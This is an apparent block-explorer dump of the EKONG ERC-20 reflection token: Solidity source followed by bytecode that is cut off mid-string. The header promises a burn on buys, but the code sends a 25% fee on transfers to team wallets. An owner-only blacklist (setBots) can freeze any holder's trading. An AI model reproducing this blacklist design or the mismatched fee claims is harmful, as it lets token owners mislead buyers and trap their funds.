0xbaf08d5c0cfa8bf2a3f14b5706b9425376f0c343
/** * * ███████╗██╗░░██╗░█████╗░███╗░░██╗░██████╗░ * ██╔════╝██║░██╔╝██╔══██╗████╗░██║██╔════╝░ * █████╗░░█████═╝░██║░░██║██╔██╗██║██║░░██╗░ * ██╔══╝░░██╔═██╗░██║░░██║██║╚████║██║░░╚██╗ * ███████╗██║░╚██╗╚█████╔╝██║░╚███║╚██████╔╝ * ╚══════╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝░╚═════╝░ * * $EKONG * https://t.me/sherlockholmescoin * ekong.io * * TOKENOMICS: * Max Supply: 1,000,000,000,000 EKONG * 20% burned on buys * 25% tax on sells */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EKONG is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ekong"; string private constant _symbol = "EKONG"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 20; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600581526020017f456b6f6e67000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f454b4f4e47000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b6000815190506129